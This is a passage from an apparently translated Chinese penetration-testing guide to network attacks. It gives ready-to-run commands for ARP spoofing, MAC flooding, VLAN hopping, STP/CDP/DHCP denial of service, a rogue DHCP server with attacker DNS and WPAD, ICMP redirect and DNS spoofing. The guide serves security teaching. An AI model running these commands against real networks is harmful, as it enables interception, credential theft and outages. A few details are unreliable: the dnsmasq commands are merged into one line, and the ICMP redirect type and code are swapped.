您还可以尝试检查一些**UDP端口是否开放**，以决定是否应该**更加关注**一个**主机**。由于UDP服务通常不会对常规空的UDP探测数据包做出任何响应，因此很难判断端口是被过滤还是开放的。最简单的方法是发送与运行服务相关的数据包，由于您不知道运行的是哪种服务，因此应该根据端口号尝试最有可能的服务：

```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```

在此之前提出的nmap命令将测试\*\*/24**范围内每个主机的**前1000个UDP端口\*\*，但即使如此，这将花费\*\*>20分钟\*\*。如果需要**更快的结果**，您可以使用[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)：`./udp-proto-scanner.pl 199.66.11.53/24`。这将向它们的**预期端口**发送这些**UDP探针**（对于/24范围，这将只需1分钟）：*DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.*

### SCTP端口发现

```bash
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
```

## 渗透测试Wifi

在这里，您可以找到一份关于所有众所周知的Wifi攻击方法的详细指南：

{% content-ref url="/pages/YTDb3vys6lbuaLRt0iyI" %}
[Pentesting Wifi](/generic-methodologies-and-resources/pentesting-wifi)
{% endcontent-ref %}

## 从内部发现主机

如果您在网络内部，您将首先要做的事情之一是**发现其他主机**。根据您可以/想要制造的**噪音量**的多少，可以执行不同的操作：

### 被动

您可以使用以下工具被动地发现连接网络内部的主机：

```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
```

### 主动

请注意，[***从外部发现主机***](#discovering-hosts-from-the-outside)（*TCP/HTTP/UDP/SCTP端口发现*）中评论的技术也可以在这里**应用**。\
但是，由于您与其他主机在**同一网络**中，您可以做**更多的事情**：

```bash
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
```

### 主动 ICMP

请注意，在“从外部发现主机”中评论的技术（[***ICMP***](#icmp)）也可以**应用在这里**。\
但是，由于您与其他主机在**同一网络**中，您可以做**更多的事情**：

* 如果您**ping**一个**子网广播地址**，则ping应该到达**每个主机**，它们可能会**响应**给**您**：`ping -b 10.10.5.255`
* 对**网络广播地址**进行ping，甚至可以找到**其他子网内的主机**：`ping -b 255.255.255.255`
* 使用`nmap`的`-PE`、`-PP`、`-PM`标志执行主机发现，分别发送**ICMPv4 echo**、**时间戳**和**子网掩码请求**：`nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`

### **远程唤醒**

远程唤醒用于通过**网络消息**打开计算机。用于打开计算机的魔术数据包只是一个数据包，其中提供了一个**MAC目标**，然后在同一个数据包中**重复16次**。\
然后，这种类型的数据包通常发送到**以太网0x0842**或**UDP数据包到端口9**。\
如果未提供\*\*\[MAC]**，则数据包将发送到**广播以太网\*\*（广播MAC将被重复）。

```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```

## 扫描主机

一旦您发现了所有您想要深入扫描的IP（外部或内部），可以执行不同的操作。

### TCP

* **开放**端口：*SYN --> SYN/ACK --> RST*
* **关闭**端口：*SYN --> RST/ACK*
* **过滤**端口：*SYN --> \[无响应]*
* **过滤**端口：*SYN --> ICMP消息*

```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```

### UDP

有两种选项来扫描 UDP 端口：

* 发送一个 **UDP 数据包** 并检查响应中的 ***ICMP 不可达*** 如果端口是 **关闭**（在一些情况下 ICMP 将会被 **过滤**，因此您将无法收到端口是关闭还是打开的信息）。
* 发送一个 **格式化数据报** 来引发一个 **服务** 的响应（例如，DNS、DHCP、TFTP 等，如在 *nmap-payloads* 中列出的）。如果您收到一个 **响应**，那么端口是 **打开**。

**Nmap** 将使用 "-sV" **混合** 这两种选项（UDP 扫描非常慢），但请注意 UDP 扫描比 TCP 扫描慢：

```bash
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
```

### SCTP扫描

**SCTP（流控制传输协议）被设计用于与TCP（传输控制协议）和UDP（用户数据报协议）一起使用。其主要目的是在IP网络上便捷地传输电话数据，反映了信令系统7（SS7）中许多可靠性特性。SCTP是SIGTRAN**协议系列的核心组件，旨在在IP网络上传输SS7信号。

各种操作系统（如**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**和**VxWorks**）提供对**SCTP**的支持，表明它在电信和网络领域得到了广泛接受和应用。

nmap提供了两种不同的SCTP扫描：*-sY\_和*-sZ\_

```bash
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```

### IDS和IPS规避

{% content-ref url="/pages/GhNreYkIpZglWPWf1T19" %}
[IDS and IPS Evasion](/generic-methodologies-and-resources/pentesting-network/ids-evasion)
{% endcontent-ref %}

### **更多nmap选项**

{% content-ref url="/pages/jJiPSV7czhneScIFMSr7" %}
[Nmap Summary (ESP)](/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp)
{% endcontent-ref %}

### 揭示内部IP地址

**配置错误的路由器、防火墙和网络设备**有时会使用**非公共源地址**响应网络探测。可以使用**tcpdump**来识别测试过程中从私有地址接收的数据包。具体来说，在Kali Linux上，可以在从公共互联网访问的**eth2接口**上捕获数据包。需要注意的是，如果您的设置位于NAT或防火墙后，这些数据包很可能会被过滤掉。

```bash
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```

## 嗅探

通过查看捕获的帧和数据包，您可以了解IP范围、子网大小、MAC地址和主机名等细节。如果网络配置不正确或交换机架构压力过大，攻击者可以通过被动网络嗅探捕获敏感材料。

如果交换式以太网网络配置正确，您只会看到广播帧和发送到您MAC地址的数据。

### TCPDump

```bash
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```

一个人也可以通过Wireshark作为GUI实时在SSH会话中从远程计算机捕获数据包。

```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
```

### Bettercap

### Bettercap

```bash
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
```

### Wireshark

显而易见。

### 捕获凭证

您可以使用类似<https://github.com/lgandx/PCredz>的工具来从pcap文件或实时接口中解析凭证。

## 局域网攻击

### ARP欺骗

ARP欺骗是指发送伪造的ARP响应，指示某台机器的IP具有我们设备的MAC地址。然后，受害者将更改ARP表，并在每次想要联系伪造IP时与我们的机器联系。

#### **Bettercap**

```bash
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
```

#### **Arpspoof**

#### **Arpspoof**

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```

### MAC Flood攻击 - CAM表溢出

通过发送大量具有不同源MAC地址的数据包来溢出交换机的CAM表。当CAM表已满时，交换机会开始表现得像集线器一样（广播所有流量）。

```bash
macof -i <interface>
```

### 802.1Q VLAN / DTP 攻击

#### 动态干线

**动态干线协议 (DTP)** 被设计为一种链路层协议，用于促进干线的自动系统，允许交换机自动选择端口进入干线模式 (Trunk) 或非干线模式。部署 **DTP** 通常被视为网络设计不佳的指标，强调只在必要时手动配置干线并确保适当的文档记录的重要性。

默认情况下，交换机端口设置为动态自动模式，这意味着如果邻近交换机发出提示，它们将准备好启动干线。当渗透测试人员或攻击者连接到交换机并发送 DTP 欲望帧时，会出现安全问题，迫使端口进入干线模式。此操作使攻击者能够通过 STP 帧分析枚举 VLAN，并通过设置虚拟接口来规避 VLAN 分割。

许多交换机默认情况下存在 DTP，对手可以利用这一点模仿交换机的行为，从而访问所有 VLAN 中的流量。脚本 [***dtpscan.sh***](https://github.com/commonexploits/dtpscan) 用于监视接口，显示交换机处于默认、干线、动态、自动或访问模式中的哪种状态，后者是唯一免疫 VLAN 跳跃攻击的配置。该工具评估了交换机的漏洞状态。

如果发现网络漏洞，可以使用 ***Yersinia*** 工具通过 DTP 协议“启用干线”，从而观察来自所有 VLAN 的数据包。

```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode
```

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-82b357385a723f9e1b186b95df5f5871e2c43cd4%2Fimage%20\(646\)%20\(1\).png?alt=media)

要枚举VLAN，也可以使用脚本[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)生成DTP Desirable帧。切勿在任何情况下中断脚本。它每三秒注入一个DTP Desirable。交换机上动态创建的干道通道只能存活五分钟。五分钟后，干道会断开连接。

```
sudo python3 DTPHijacking.py --interface eth0
```

我想指出**Access/Desirable (0x03)表示DTP帧是Desirable类型，告诉端口切换到Trunk模式。而802.1Q/802.1Q (0xa5)表示802.1Q**封装类型。

通过分析STP帧，**我们了解到VLAN 30和VLAN 60的存在**。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-69f6170c531251922aae02b68bd1377d5e05122f%2Fimage%20(18)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 攻击特定VLAN

一旦您知道VLAN ID和IP值，您可以**配置虚拟接口以攻击特定VLAN**。\
如果DHCP不可用，则使用\_ifconfig\_设置静态IP地址。

```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
```

```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
```

```bash
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```

#### 自动 VLAN 跳跃器

讨论的攻击**动态干线和创建虚拟接口以及发现其他 VLAN 中的主机**是由工具自动执行的：[**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)

#### 双重标记

如果攻击者知道受害主机的**MAC、IP 和 VLAN ID 的值**，他可以尝试使用其指定的 VLAN 和受害者的 VLAN **双重标记一个帧** 并发送一个数据包。由于**受害者无法与攻击者连接回来**，所以**攻击者的最佳选择是通过 UDP 通信**到可以执行一些有趣操作的协议（如 SNMP）。

攻击者的另一个选择是发起**TCP 端口扫描，欺骗攻击者控制的 IP 并可被受害者访问**（可能通过互联网）。然后，攻击者可以嗅探他拥有的第二个主机是否接收到来自受害者的一些数据包。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-3f2bb9379f89f428fc8281dcb0fe828428d4fa49%2Fimage%20\(635\)%20\(1\).png?alt=media)

要执行此攻击，您可以使用 scapy：`pip install scapy`

```python
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
```

#### 侧向 VLAN 分割绕过 <a href="#d679" id="d679"></a>

如果您**可以访问直接连接的交换机**，则可以在网络中**绕过 VLAN 分割**。只需将端口切换到干线模式（也称为干线），使用目标 VLAN 的 ID 创建虚拟接口，并配置 IP 地址。您可以尝试动态请求地址（DHCP），也可以静态配置。这取决于具体情况。

{% content-ref url="/pages/oQ5srh42lk0DKvqyIRpY" %}
[Lateral VLAN Segmentation Bypass](/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass)
{% endcontent-ref %}

#### 第 3 层私有 VLAN 绕过

在某些环境中，例如访客无线网络，实施了\*\*端口隔离（也称为私有 VLAN）\*\*设置，以防止连接到无线接入点的客户端直接相互通信。然而，已经发现了一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或其不正确配置，使 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。

攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的数据包**来执行的。这会导致路由器错误地将数据包转发到目标客户端。这种方法类似于双标记攻击中使用的方法，其中利用可访问受害者的主机的能力来利用安全漏洞。

**攻击的关键步骤：**

1. **构造数据包：** 特别构造一个数据包，其中包含目标客户端的 IP 地址，但带有路由器的 MAC 地址。
2. **利用路由器行为：** 发送构造的数据包到路由器，由于配置，路由器将数据包重定向到目标客户端，绕过私有 VLAN 设置提供的隔离。

### VTP 攻击

VTP（VLAN 干线协议）集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性；任何修改都会增加此数字。交换机采用具有较高修订号的配置，更新其自己的 VLAN 数据库。

#### VTP 域角色

* **VTP 服务器：** 管理 VLAN—创建、删除、修改。向域成员广播 VTP 公告。
* **VTP 客户端：** 接收 VTP 公告以同步其 VLAN 数据库。此角色受限于本地 VLAN 配置修改。
* **VTP 透明：** 不参与 VTP 更新，但转发 VTP 公告。不受 VTP 攻击影响，保持修订号恒定为零。

#### VTP 广告类型

* **摘要广告：** 每 300 秒由 VTP 服务器广播，携带基本域信息。
* **子集广告：** 在 VLAN 配置更改后发送。
* **广告请求：** 由 VTP 客户端发出以请求摘要广告，通常是响应于检测到更高配置修订号。

VTP 漏洞仅通过干线端口可利用，因为 VTP 公告仅通过它们传播。DTP 攻击后的情景可能转向 VTP。工具如 Yersinia 可以促进 VTP 攻击，旨在清除 VLAN 数据库，有效地干扰网络。

注意：此讨论涉及 VTP 版本 1（VTPv1）。

````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````

### STP 攻击

**如果您无法在接口上捕获 BPDU 帧，则很可能无法成功进行 STP 攻击。**

#### **STP BPDU DoS**

通过发送大量的 BPDUs TCP（拓扑更改通知）或 Conf（在创建拓扑时发送的 BPDU）来使交换机超载并停止正常工作。

```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```

#### **STP TCP 攻击**

当发送 TCP 时，交换机的 CAM 表将在 15 秒内被删除。然后，如果持续发送这种类型的数据包，CAM 表将不断重新启动（或每 15 秒一次），当重新启动时，交换机的行为类似于集线器。

```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```

#### **STP Root Attack**

攻击者模拟交换机的行为，成为网络的STP根。然后，更多数据将通过他传递。当您连接到两个不同的交换机时，这是很有趣的。\
这是通过发送BPDUs CONF数据包来实现的，其中指定**优先级**值小于实际根交换机的优先级。

```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```

**如果攻击者连接到2个交换机，他可以成为新树的根，这两个交换机之间的所有流量都将通过他传递**（将执行中间人攻击）。

```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```

### CDP 攻击

思科发现协议（CDP）对于思科设备之间的通信至关重要，使它们能够**识别彼此并共享配置详细信息**。

#### 被动数据收集 <a href="#id-0e0f" id="id-0e0f"></a>

CDP 被配置为通过所有端口广播信息，这可能导致安全风险。攻击者连接到交换机端口后，可以部署网络嗅探器，如**Wireshark**、**tcpdump** 或 **Yersinia**。这种行为可能会泄露有关网络设备的敏感数据，包括其型号和运行的 Cisco IOS 版本。攻击者随后可能针对已识别的 Cisco IOS 版本中的特定漏洞进行攻击。

#### 引发 CDP 表洪泛 <a href="#id-0d6a" id="id-0d6a"></a>

一种更具侵略性的方法是通过超载交换机的内存，伪装成合法的思科设备，发动拒绝服务（DoS）攻击。以下是使用 Yersinia 发起此类攻击的命令序列，Yersinia 是一款专为测试设计的网络工具：

```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```

在这种攻击中，交换机的 CPU 和 CDP 邻居表负担过重，通常会导致所谓的\*\*“网络瘫痪”\*\*，因为资源消耗过多。

#### CDP 冒充攻击

```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```

您也可以使用[**scapy**](https://github.com/secdev/scapy/)。请确保使用`scapy/contrib`软件包进行安装。

### VoIP 攻击和 VoIP Hopper 工具

VoIP 电话越来越多地与物联网设备集成，提供诸如通过特殊电话号码解锁门或控制恒温器等功能。然而，这种集成可能带来安全风险。

该工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟 VoIP 电话（Cisco、Avaya、Nortel、Alcatel-Lucent）。它使用诸如 CDP、DHCP、LLDP-MED 和 802.1Q ARP 等协议来发现语音网络的 VLAN ID。

**VoIP Hopper** 提供了三种 Cisco Discovery Protocol (CDP) 的模式：

1. **Sniff Mode** (`-c 0`)：分析网络数据包以识别 VLAN ID。
2. **Spoof Mode** (`-c 1`)：生成模仿实际 VoIP 设备数据包的自定义数据包。
3. **Spoof with Pre-made Packet Mode** (`-c 2`)：发送与特定 Cisco IP 电话型号相同的数据包。

速度最快的首选模式是第三种。它需要指定：

* 攻击者的网络接口（`-i` 参数）。
* 被模拟的 VoIP 设备的名称（`-E` 参数），遵循 Cisco 命名格式（例如，SEP 后跟 MAC 地址）。

在企业设置中，要模仿现有的 VoIP 设备，可以：

* 检查电话上的 MAC 标签。
* 浏览电话的显示设置以查看型号信息。
* 将 VoIP 设备连接到笔记本电脑，并使用 Wireshark 观察 CDP 请求。

执行该工具的第三种模式的示例命令可能是：

```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```

### DHCP 攻击

#### 枚举

```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```

**DoS**

针对 DHCP 服务器可以执行两种类型的 DoS 攻击。第一种是**模拟足够多的虚假主机以使用所有可能的 IP 地址**。\
只有在您能够看到 DHCP 服务器的响应并完成协议（**Discover**（计算机）--> **Offer**（服务器）--> **Request**（计算机）--> **ACK**（服务器））时，此攻击才会生效。例如，这在**Wifi 网络中是不可能的**。

执行 DHCP DoS 的另一种方法是发送一个**使用每个可能的 IP 作为源代码的 DHCP-RELEASE 数据包**。然后，服务器会认为每个人都已经完成了对该 IP 的使用。

```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```

更自动化的方法是使用工具[DHCPing](https://github.com/kamorin/DHCPig)

您可以使用上述的DoS攻击来强制客户端在环境中获取新的租约，并耗尽合法服务器使其无法响应。因此，当合法服务器尝试重新连接时，**您可以提供下一个攻击中提到的恶意数值**。

#### 设置恶意数值

可以使用位于`/usr/share/responder/DHCP.py`的DHCP脚本设置一个恶意的DHCP服务器。这对于网络攻击很有用，比如通过将流量重定向到恶意服务器来捕获HTTP流量和凭据。然而，设置一个恶意的网关效果较差，因为它只允许捕获客户端的出站流量，无法获取真实网关的响应。相反，建议设置一个恶意的DNS或WPAD服务器以进行更有效的攻击。

以下是配置恶意DHCP服务器的命令选项：

* **我们的IP地址（网关广告）**：使用`-i 10.0.0.100`将您的机器IP作为网关进行广告。
* **本地DNS域名**：可选地，使用`-d example.org`设置本地DNS域名。
* **原始路由器/网关IP**：使用`-r 10.0.0.1`指定合法路由器或网关的IP地址。
* **主DNS服务器IP**：使用`-p 10.0.0.100`设置您控制的恶意DNS服务器的IP地址。
* **次要DNS服务器IP**：可选地，使用`-s 10.0.0.1`设置次要DNS服务器IP。
* **本地网络的子网掩码**：使用`-n 255.255.255.0`定义本地网络的子网掩码。
* **用于DHCP流量的接口**：使用`-I eth1`在特定网络接口上监听DHCP流量。
* **WPAD配置地址**：使用`-w “http://10.0.0.100/wpad.dat”`设置WPAD配置的地址，有助于拦截Web流量。
* **欺骗默认网关IP**：包括`-S`来欺骗默认网关IP地址。
* **响应所有DHCP请求**：包括`-R`使服务器响应所有DHCP请求，但请注意这会产生噪音并可能被检测到。

通过正确使用这些选项，可以建立一个恶意的DHCP服务器有效地拦截网络流量。

```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```

### **EAP攻击**

以下是针对802.1X实施可以使用的攻击策略：

* 通过EAP进行主动暴力破解密码
* 利用恶意EAP内容攻击RADIUS服务器 *\*\**(利用漏洞)
* 捕获EAP消息并离线破解密码（EAP-MD5和PEAP）
* 强制使用EAP-MD5身份验证绕过TLS证书验证
* 在使用集线器或类似设备进行身份验证时注入恶意网络流量

如果攻击者位于受害者和认证服务器之间，他可以尝试降级（如果必要）认证协议至EAP-MD5，并捕获认证尝试。然后，他可以使用暴力破解：

```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```

### FHRP (GLBP & HSRP) 攻击 <a href="#id-6196" id="id-6196"></a>

**FHRP**（First Hop Redundancy Protocol）是一类旨在**创建热备份路由系统**的网络协议。通过FHRP，物理路由器可以组合成单个逻辑设备，提高容错能力并帮助分担负载。

**思科系统工程师开发了两种FHRP协议，GLBP和HSRP。**

{% content-ref url="/pages/fvFpcdFiNFN3VsY0lLi7" %}
[GLBP & HSRP Attacks](/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks)
{% endcontent-ref %}

### RIP

已知存在三个版本的路由信息协议（RIP）：RIP、RIPv2和RIPng。通过UDP使用端口520向对等方发送数据报，RIP和RIPv2，而通过IPv6组播向UDP端口521广播数据报，RIPng。RIPv2引入了MD5认证支持。另一方面，RIPng不包含原生认证，而是依赖IPv6中的可选IPsec AH和ESP头。

* **RIP和RIPv2：** 通过端口520的UDP数据报进行通信。
* **RIPng：** 利用UDP端口521通过IPv6组播广播数据报。

请注意，RIPv2支持MD5认证，而RIPng不包含原生认证，依赖IPv6中的IPsec AH和ESP头。

### EIGRP 攻击

**EIGRP（增强内部网关路由协议）是一种动态路由协议。它是一种距离矢量协议。如果没有认证和被动接口配置，入侵者可以干扰EIGRP路由并导致路由表污染**。此外，EIGRP网络（换句话说，自治系统）**是扁平的，没有分段成任何区域**。如果**攻击者注入路由**，这条路由很可能会在自治系统中**传播**。

要攻击EIGRP系统需要**与合法的EIGRP路由器建立邻居关系**，这打开了许多可能性，从基本的侦察到各种注入。

[**FRRouting**](https://frrouting.org/)允许您实现**支持BGP、OSPF、EIGRP、RIP和其他协议的虚拟路由器**。您只需在攻击者系统上部署它，实际上可以假装成路由域中的合法路由器。

{% content-ref url="/pages/3VV9FtmeIQICIMHoMlQW" %}
[EIGRP Attacks](/generic-methodologies-and-resources/pentesting-network/eigrp-attacks)
{% endcontent-ref %}

[**Coly**](https://code.google.com/p/coly/)具有拦截EIGRP（增强内部网关路由协议）广播的功能。它还允许注入数据包，可用于更改路由配置。

### OSPF

在开放最短路径优先（OSPF）协议中，**通常使用MD5认证来确保路由器之间的安全通信**。然而，这种安全措施可以通过Loki和John the Ripper等工具来破解。这些工具能够捕获和破解MD5哈希，暴露认证密钥。一旦获得该密钥，就可以用于引入新的路由信息。为了配置路由参数并建立受损密钥，分别使用 *Injection* 和 *Connection* 选项卡。

* **捕获和破解MD5哈希：** 用于此目的的工具包括Loki和John the Ripper。
* **配置路由参数：** 通过 *Injection* 选项卡完成。
* **设置受损密钥：** 密钥在 *Connection* 选项卡下配置。

### 其他通用工具和资源

* [**Above**](https://github.com/c4s73r/Above)：用于扫描网络流量并查找漏洞的工具
* 您可以在[此处](https://github.com/Sab0tag3d/MITM-cheatsheet)找到有关网络攻击的更多信息。

## **欺骗**

攻击者通过发送虚假的DHCP响应配置新网络成员的所有网络参数（网关、IP、DNS）。

```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```

### ARP欺骗

查看[前一节](#arp-spoofing)。

### ICMP重定向

ICMP重定向是指发送一种ICMP数据包，类型为1，代码为5，表明攻击者是到达某个IP地址的最佳路径。然后，当受害者想要联系该IP时，数据包会通过攻击者发送。

```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```

### DNS欺骗

攻击者将解析受害者请求的一些（或全部）域名。

```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```

**使用dnsmasq配置自己的DNS**

```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```

### 本地网关

通常存在多条通往系统和网络的路由。在构建本地网络中的MAC地址列表后，使用 *gateway-finder.py* 来识别支持IPv4转发的主机。

```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
